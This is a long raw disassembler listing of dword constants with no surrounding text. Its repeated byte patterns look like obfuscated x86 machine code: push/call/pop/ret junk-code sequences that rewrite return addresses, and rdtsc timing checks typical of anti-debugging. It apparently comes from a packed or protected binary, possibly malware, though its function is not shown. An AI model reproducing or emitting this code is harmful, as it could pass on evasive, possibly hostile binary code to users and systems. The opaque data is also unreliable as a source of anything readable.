dd 2, 0BF0F6160h, 8B85C7FBh, 7E401h, 66000000h, 9D8DF18Bh
dd 7E000E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 26C35747h, 0D1015957h, 33A39FAh, 0E01CB9B5h, 66605307h
dd 8589C38Bh, 7E01D1Dh, 11E95E61h, 1B000000h, 0E4E7D30Ch
dd 76FDCA9Bh, 0E54E7318h, 0A14268E8h, 0FEFF2381h, 0BD8BFFFFh
dd 7E01101h, 8BDB8C66h, 0E01BC9B5h, 4C3F607h, 49840Fh
dd 0BE660000h, 0F88BB7D2h, 1AE995FFh, 0B06007E0h, 0AD95891Ah
dd 6107E02Dh, 50F88B90h, 0AE9h, 4DB0ED00h, 83FCB650h, 90F0FDF4h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D9C35040h
dd 0E95EE187h, 414h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 8FC35343h, 0FB8506D7h, 0DFDE8166h, 6A00B004h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 9836C352h, 3F778165h, 3C24A44Bh, 7E8h, 0AF0A4300h
dd 0F0194F0Bh, 9E9h, 98FB9F00h, 8D7CE9F0h, 895E20FCh, 0E0011585h
dd 6670E607h, 0B166D781h, 8A0F71E4h, 6, 2AA18D89h, 0B60F07E0h
dd 199589D8h, 0BA07E018h, 6, 8D89C38Bh, 7E02065h, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0D7E3C352h, 0D1FA393Ah, 0BF0FD41Dh, 0E2F766FFh
dd 3B22DE81h, 0D82B4544h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 21C35040h, 0BE850BEh, 0D3000000h, 3B590111h
dd 108712B4h, 0BD8B81B9h, 7E013CDh, 8B66935Eh, 525050F0h
dd 60616060h, 310F6161h, 585AFE8Bh, 85BF6693h, 91B5FF69h
dd 6A07E013h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 29AAC357h, 767B8B8Ch, 0A995FFDEh
dd 107E018h, 0E00729BDh, 6A00B007h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B656C351h
dd 11E9C7AAh, 37000000h, 937CE7DBh, 9C6A85BFh, 2466DB98h
dd 0C07CC6A6h, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 1B2CBEC3h, 0E4729D8Ch, 0F613C71h
dd 26383h, 0FFE8B00h, 0F28BD8B6h, 6BAh, 11E96000h, 2D000000h
dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h
dd 0BE9h, 923AB600h, 3071EDCCh, 6A830A3Fh, 6AC38B61h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 3337C352h, 0E012A5B5h, 4E8C107h, 6AE2F766h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0E227C351h, 0FDD3E278h, 4A1289C5h, 66D82BF9h, 58E129BFh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A7C35646h
dd 0CFE49BBEh, 0CE844h, 6C230000h, 2B45C976h, 6C82A419h
dd 10E94667h, 86000000h, 19D812B7h, 0F4EBA5BBh, 3655A565h
dd 5E816598h, 880FD82Bh, 188h, 0AF14C2BFh, 7B930h, 0C1830000h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0B2C86BF7h, 66446035h, 0FCFFBBFh, 81h, 0FD93B00h
dd 14786h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0FCF5373h, 854AC905h, 0BD89FA37h
dd 7E03015h, 0E8D98C66h, 11h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h
dd 475F0F49h, 0EE8166CEh, 0F65EC03Ch, 840F04C1h, 0ECh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h
dd 7E98C993h, 95FF9912h, 7E01AE9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0BC35747h, 0CFAE309Ah, 9AA37FB0h
dd 10E9h, 0FA2A3800h, 34DCF5A4h, 4F709B2h, 0F2262692h
dd 55BD893Bh, 5B07E00Fh, 1D95BD8Bh, 0C32B07E0h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 72C35242h, 0E82A963Ah
dd 649EE147h, 8343DF8h, 860F0000h, 4Ch, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0E6C35747h, 0E95F5060h
dd 30h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
dd 4FC35040h, 24EA5470h, 0C7E1AE2Ah, 0DBF3BF66h, 0B58BC08Bh
dd 7E01AA9h, 0D88BC38Bh, 6E1B58Bh, 85C707E0h, 7E01359h
dd 1FBB79DBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 1C35242h, 0D471C9FAh, 9D3169F7h, 7E00849h, 0B58BC08Bh
dd 7E0090Dh, 13E8h, 70099500h, 335F5BCEh, 0FCDA4E0Eh, 728BC547h
dd 0CE0582FFh, 7B5BD8Bh, 815E07E0h, 0E01391BDh, 7D007h
dd 2E850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 1CEAC357h, 0D2BBE0E9h
dd 9185FFEAh, 8107E013h, 6BAFDECFh, 91B5FF29h, 6A07E013h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 3D7CC353h, 8E852DDh, 0AF000000h, 0D6E77FAh
dd 5F16F695h, 0DE9h, 0DB3E9B00h, 0B839E81Ch, 0E11BAF9Ah
dd 95FFF92Ah, 7E018A9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 2AC35141h, 1553219Fh, 2983BA4Bh, 0E000099Dh
dd 0CE89007h, 41000000h, 0D20EEF58h, 0D527205Fh, 66406FC1h
dd 5E21C2BEh, 0BCA3D781h, 6A5B81h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 83D80CC3h, 147BD130h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CFC35747h
dd 668A321Dh, 0E13CF81h, 2F3D9D01h, 8B6607E0h, 0F2B70FF9h
dd 0CE81F98Bh, 37364F8Ah, 1B51B589h, 6A07E0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 1AFD46C3h
dd 0B7ED6243h, 0A5C9DE81h, 6A4CA6h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C3AAAAC3h
dd 6A133EA3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 8DA2C351h, 8B661CD2h, 9D8B60F9h
dd 7E02679h, 1B75BD89h, 858B07E0h, 7E01FA1h, 0DDBD8B61h
dd 0E907E01Ah, 0FFFFF778h, 1941B58Bh, 896007E0h, 0E0210D8Dh
dd 79B58B07h, 0B807E033h, 3EBC1889h, 0EBC18B61h, 4, 25BD8B00h
dd 2907E033h, 0E0127D9Dh, 0C9858D07h, 8907E013h, 0E028D9B5h
dd 5E575007h, 6A240489h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0A77C7BB9h, 6A006A7Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0ABDC350h, 23BEA519h, 8D661ED6h, 0E40CE885h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 5C08384h, 13E8h, 0B4255C00h, 2B67E54h, 0CDB17908h
dd 0A413A9F8h, 10C7D3ECh, 860Fh, 905F0000h, 50FA8B66h
dd 9930E2BFh, 6A9000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0F2989DC3h, 0D2A0228Dh, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 8E095BC3h, 770E3A3Ah, 21299509h, 6A07E0h, 13C5B58Bh
dd 95FF07E0h, 7E03441h, 0D2BF0F60h, 21998D03h, 8D6107E0h
dd 0E3A3939Dh, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0A3EA8D4Ah, 0BD0B5597h
dd 7E00099h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0FF378DC3h, 0E020FD85h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 60767591h, 0B58B88BFh, 7E01AF5h, 8A1E9h, 0E800h, 815D0000h
dd 0E40CF2EDh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 2F5C8816h, 0F5C2F9Ch
dd 0BD81F9B7h, 7E01391h, 7D0h, 170860Fh, 81660000h, 8B7DF7C7h
dd 0E01B1D9Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0B4C9773Bh, 475E9BD8h
dd 0DE847h, 0D6490000h, 0CAD028A7h, 0B9D4704h, 8BFE03E5h
dd 0E3815EF1h, 100h, 12E9h, 85B12100h, 0FBBDF06Ch, 0DC24C466h
dd 22188F95h, 0BB15EFDh, 8E850FDBh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0FA2EC357h, 6684A2E0h, 837854BFh, 0E40B51BDh, 840F0007h
dd 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
dd 63C35747h, 4B3A79F3h, 0E9B8D251h, 75h, 30B5B533h, 85C707E0h
dd 7E40B51h, 1, 0E9F78B66h, 5Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0AC35646h, 5185C715h, 7E40Bh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 6612C352h, 0A7781D0Dh, 998E266Ah
dd 6890Fh, 85890000h, 7E006A5h, 6EDE23BEh, 1D9D8D3Fh, 6A07E01Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 7F84C352h, 0E39B6D7h, 0A9BD33B4h, 8107E02Dh
dd 0FFFEFF23h, 0EE8166FFh, 8C66C2E7h, 4C3F6DBh, 35840Fh
dd 0FFF90000h, 0E01AE995h, 52509007h, 0D77FBF66h, 0D3BE310Fh
dd 5A585124h, 52505058h, 25A1B5BFh, 66310F71h, 585AF78Bh
dd 8850F90h, 0F000000h
dd 283h, 0E9616000h, 43Fh, 2FA98D31h, 0B007E0h, 2B7DB58Bh
dd 0B70F07E0h, 8970E6F3h, 0E02EDD95h, 6A71E407h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0E97DC351h, 11h, 0D41E6F7Fh, 0D0022EFAh, 0C958CBA4h
dd 0A51FA5A7h, 7DBD3187h, 0F07E014h, 6AD8B6h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 411ACBC3h
dd 5800Fh, 9DBE0000h, 2B6BD10Ch, 0E01F5DBDh, 6BA07h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 9382B5C3h, 782B2BBFh, 6AC38B75h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AAD6C351h
dd 89296467h, 0E00FB58Dh, 4E8C107h, 1409BD8Bh, 0F76607E0h
dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 85998849h, 6655C344h, 0DB7EF781h, 0CE9h
dd 4A0A400h, 9A4BB565h, 72EBFBF0h, 89D82B1Fh, 0E02A01BDh
dd 0F609307h, 28Fh, 66616000h, 614AADBEh, 0DCBF6650h, 8B669322h
dd 91B5FFF2h, 6A07E013h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 5A1DC355h, 18A995FFh
dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0BE5959C3h, 309B3A07h, 9E9h, 7B48F300h, 0BACA461Dh
dd 0B089ECh, 5E8h, 3B2CDE00h, 5FF98699h, 2F0DBD0Bh, 70E607E0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 45C35545h
dd 138DB533h, 71E407E0h, 0F613CF5h, 26A83h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0F75F3FEBh, 0AEA1A8Ah, 0D1B50340h, 0F07E023h, 689h
dd 71BD8B00h, 0F07E016h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 894B91C3h, 0E02DE18Dh
dd 6BA07h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8BC8EDC3h, 8B6651C3h, 0E8C15EF2h
dd 8B665704h, 0F7665EF3h, 89D82BE2h, 0E0082985h, 95895807h
dd 7E00015h, 880FD82Bh, 1C3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 7CC35343h, 93C4B3C7h, 89B3EE27h
dd 0E0307D8Dh, 42DE8107h, 0B961C3C4h, 7, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 1BC35242h, 92ED1F5Dh
dd 8327FD55h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0E11521C3h, 0A0C8599Ch, 0F32F938h
dd 0D93BFABFh, 139860Fh, 0BD890000h, 7E00FD5h, 6AD98C66h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 1866C350h, 0CDA89843h, 0E9D78151h, 5E1880C7h
dd 0F04C1F6h, 0E884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 9123DA2Fh, 76575DE3h
dd 0FBB70F92h, 1AE995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 0E366E0C3h, 4F0AE388h
dd 0F5BF08Bh, 0C32BFAB7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 83C35646h, 0C5886559h, 0DD858956h, 3D07E030h
dd 834h, 5F860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0CFBE66C3h, 66B8B5C0h
dd 0FFC608Bh, 58Ch, 0D8816600h, 0E961238Dh, 3Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 98C35040h, 9FE34B3Ch
dd 89FA6720h, 0E024F5BDh, 8BC08B07h, 0E00201BDh, 7E95207h
dd 6000000h, 738EEEAh, 8B5E82A8h, 6AD88BC3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 9497C357h, 0BEABBE2Ah, 1249E26Bh, 0E185C7h, 9F307E0h
dd 14E81F03h, 0D2000000h, 81BEE0C6h, 0E743F1Ah, 306D7C49h
dd 51D7001Bh, 0FC1F646h, 58Eh, 0D6816600h, 8B5F55FDh, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 85249BCEh, 0D1EC2261h, 0F9B70FBFh, 1391BD81h, 7D007E0h
dd 850F0000h, 4Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0D7C35343h, 85FF53A7h, 7E01391h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h, 0A688B062h
dd 0FEBF0F62h, 0FFF7B70Fh, 0E01391B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0E3F14CCh, 1A698589h, 95FF07E0h, 7E018A9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 13C35747h, 89336A42h
dd 0E031618Dh, 6A9007h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0DF2232C3h, 0ABA4B08Eh, 0FB8B66ACh
dd 0E5BD8B53h, 6007E01Ah, 16EDBD8Bh, 0BE6607E0h, 0BD8B94A7h
dd 7E007A5h, 0F513C5BBh, 6A5E615Ch, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60B2C352h
dd 0BA55C181h, 820F0B9Bh, 0Ch, 21759D33h, 8B0F07E0h, 0
dd 57B7D6B9h, 88B0F67h, 0BB000000h, 3017E67Ch, 61CE8B66h
dd 53F0B70Fh, 29EDBD89h, 0A1BE07E0h, 5E43ABAEh, 675BD89h
dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 782F58C3h, 9F184229h, 319D89CFh, 8B07E004h
dd 53006AF1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 7E987h, 8AD60000h, 0A8E99B3h, 51B58B0Ch
dd 0E807E01Ah, 8, 5E379EAh, 98529F45h, 1C14BF66h, 0AE95Eh
dd 15A50000h, 0DDE07B8Dh, 48AC84D7h, 0FFF774E9h, 0FF18BFFh
dd 0D85h, 49BE5000h, 5F41495Ah, 1B11BD8Bh, 0C18B07E0h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 53C35646h
dd 0A9B049EAh, 30C6B1Bh, 3D6BC781h, 4EB3E7Bh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 73C35242h
dd 0E665174Ah, 0B58BE1CCh, 7E02B7Dh, 2521BD29h, 858D07E0h
dd 7E013C9h, 89FE8B50h, 6A2404h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 2EA72CC3h, 295788E5h
dd 0E017D9BDh, 13E85E07h, 9C000000h, 8A10620Ch, 0B563B7ADh
dd 1F6381D9h, 262CFB53h, 9D01BBA8h, 7E02C9Dh, 6A006A5Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0F6E8C353h, 0DB42AA63h, 6AFA8Bh, 0A5CE8166h
dd 3C858D59h, 8907E417h, 0E0129995h, 5C08307h, 0F6090F9h
dd 38Bh, 0C88B6600h, 14E8h, 7E78CE00h, 0CF8663F2h, 74E46218h
dd 84F8B25Dh, 0BBC9F42Fh, 96B86675h, 50615995h, 0C8B4BF66h
dd 66006A90h, 9926C781h, 9531006Ah, 7E016EDh, 344195FFh
dd 8A0F07E0h, 0
aNauguJ db '“£ã',7,'j',0
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 4E9776C3h, 0E7E567E1h, 0D3FF5D96h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0FBC35242h, 0FFE42BFAh, 0E020FD85h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 4E027423h, 148B27E6h, 8A2E9h, 0E800h, 815D0000h
dd 0E41746EDh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0EC00CA84h, 9E521DAFh
dd 95899917h, 7E02DD5h, 34DFBE66h, 1391BD81h, 7D007E0h
dd 860F0000h, 1ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 89C35242h, 988D6074h, 0DCEC3FC2h, 13E9609Dh
dd 1C000000h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh, 6FDBBF29h
dd 0B5895FBAh, 7E017B5h, 19D8B61h, 6A07E01Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0BAFAC355h, 54F06D3Ch, 5E86Ah, 0D990000h, 66BAC186h
dd 5F0FD1BFh, 100E381h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 81667FC3h, 0B06F2EFh
dd 0C0850FDBh, 0F9000000h, 0CE9h, 0AD99E000h, 0E27565C4h
dd 157FD26Eh, 0BCBD83DFh, 7E415h, 48840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 30D942C3h, 93E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0C4165A41h, 0CC5F8E54h
dd 85C79308h, 7E415BCh, 1, 1E17B860h, 8E93790h, 1E000000h
dd 0F141BEA0h, 619D328Eh, 0A860Fh, 5E90000h, 0FB000000h
dd 6837539Bh, 3BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0FF928A4h, 282h, 0C7FA8B00h
dd 0E415BC85h, 7, 0DB58900h, 6607E02Bh, 8B8FE681h, 1E019D8Dh
dd 0B58B07E0h, 7E0059Dh, 0FEFF2381h, 0E781FFFFh, 4CB8B6E4h
dd 9E8h, 9E98E900h, 0C5D7245Dh, 9501471Bh, 7E013B5h, 0DB8C665Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C9C35646h
dd 0C23544F7h, 7E8h, 0D92B500h, 0F7972591h, 60CFB160h
dd 0F65F6161h, 840F04C3h, 3Ah, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 1DC35646h, 59FB0EF6h, 0FD812B6Dh
dd 0E995FFBBh, 2907E01Ah, 0E031D5BDh, 4895007h, 62BE6624h
dd 1AE9F9EDh, 8B000004h, 0E018F5B5h, 75B58B07h, 0B007E025h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0DFA56721h, 0A62FC6EBh, 2D5DBD8Bh, 70E607E0h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 84C35343h
dd 0DE423FB8h, 0E9A3F7BEh, 5, 56CF24D5h, 8E0FCEh, 0E4000000h
dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 17227A79h, 14E8h, 7A9CEC00h, 0C7C3EE77h
dd 2631C300h, 0F9E9775Bh, 69C902D1h, 77C781D9h, 5E2860ABh
dd 23D8B60Fh, 0E0107DBDh, 6BA07h, 0B70F0000h, 8BC38BF0h
dd 0E00735B5h, 4E8C107h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0B3C35040h, 14E9h, 63114500h, 7E59CAAFh
dd 8A3637E1h, 88509F13h, 82307EC6h, 0E2F76680h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 2FDD8589h
dd 0D82B07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0E5C35646h, 9D99303Bh, 0C7076D7Dh, 0AE9D4h, 195D0000h
dd 61B42056h, 0FDEDA0C3h, 0F08B6650h, 0E9241C89h, 8, 0B35A4CFBh
dd 27622DE9h, 1391B5FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 0FF1C41C3h, 0E018A995h
dd 19B58B07h, 0B007E010h, 30BF6600h, 6A70E6B6h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0F7D4C356h, 2A2DB58Bh, 0E4FC07E0h, 1DB58B71h, 3C07E005h
dd 42830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 78DC350h, 4C1943A7h
dd 0BF66DDF0h, 0B60F5957h, 0EF8166D8h, 6BA3114h, 29000000h
dd 0E023259Dh, 0E9C38B07h, 10h, 8BAB01F3h, 0A4840F68h
dd 449DD6CFh, 3005241Bh, 4E8C1F8h, 0D7EF03BFh, 0E2F76660h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h
dd 8CCF3A85h, 0C36D2171h, 85BF664Ch, 6AD82B2Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 5842C352h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 5DC35242h, 7F38F67Fh, 3DB58B7Bh, 2B07E025h, 6E880FD8h
dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0A158C357h, 71B43060h, 335105D9h
dd 0E02945B5h, 860F5E07h, 6, 33A1B58Bh, 7B907E0h, 0F5000000h
dd 779BD8Bh, 0C18307E0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0F96DA781h, 0F9514C1Dh
dd 0FD93B5Fh, 0FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 366A9772h, 9D89C607h
dd 7E001BDh, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 6552C355h, 0B89AC33h
dd 4DB58B91h, 0F607E006h, 840F04C1h, 8Ah, 10E9h, 0ECF67B00h
dd 38971045h, 2C140B66h, 0BE5BBFA9h, 0E995FFEAh, 6A07E01Ah
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 3FF6C356h, 8B0D8FB0h, 0BF665BF3h, 0C32B713Fh
dd 8219D01h, 343D07E0h, 0F000008h, 3586h, 0B5950100h, 0E907E028h
dd 41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
dd 0B1C35545h, 8D293F44h, 7E00901h, 157D9D29h, 0C08B07E0h
dd 10E9h, 0D5BFE300h, 7A12949h, 0A1FF670Bh, 994D9BFDh
dd 8BC38B50h, 9D0150D8h, 7E02419h, 1D85C75Eh, 3F07E01Bh
dd 6A13C22Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 3ECDC357h, 0A5B58B60h, 0F807E008h
dd 5E961h, 0A23E0000h, 8B44BC02h, 50006AC0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0D003135h
dd 57922707h, 1D11BD01h, 0BD8107E0h, 7E01391h, 7D0h, 3E850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 912D1EC3h, 0E800Fh, 9E90000h, 52000000h
dd 72D56E0Fh, 0E97480D9h, 139185FFh, 8D8907E0h, 7E02C91h
dd 1391B5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 11E9C0C3h, 62000000h, 0FF9D13F0h
dd 0A5479CC7h, 175F1FFFh, 37696F20h, 18A995FFh, 8D0907E0h
dd 7E0153Dh, 5BD2990h, 6A07E01Ch, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88A9C356h
dd 899C3179h, 0C830Fh, 85890000h, 7E033F1h, 4D3EF81h, 0BF660B8Dh
dd 0BD8BC496h, 7E001C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0EC35242h, 0B4B7E8BAh, 33003E3Eh, 0E020B1BDh
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 30EAA87Fh, 6A1CDEh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 42515BC3h, 0E395A8B0h
dd 8D894581h, 7E01571h, 855B58Bh, 6A07E0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 2E7BA3C3h
dd 0DFF83371h, 333DBD8Bh, 7E807E0h, 8F000000h, 92EAF28Fh
dd 8E0F209Ch, 6, 2FB1B58Bh, 0F98B07E0h, 0F767E95Eh, 0BF0FFFFFh
dd 598D89FAh, 8B07E02Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0EB88C9A3h, 4, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 2F299FA2h, 5DBD8BF5h, 8D07E01Ch, 0E013C985h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0A03EDEC2h, 1DF5C71Eh, 0F8A0Fh, 0AE90000h, 7B000000h
dd 6FBDFCB8h, 0F33985ACh, 0BF66906Fh, 0BF5066B0h, 0AFC8BEDh
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0FE38BFD0h, 0B52BE380h, 7E00031h, 1201B58Bh
dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 28C35040h, 20F8DE34h, 0E86D46C6h, 0Ah, 9DFD344h
dd 0AF4DA9BAh, 6A5FE294h, 9E800h, 0A7570000h, 0FC0FD0D3h
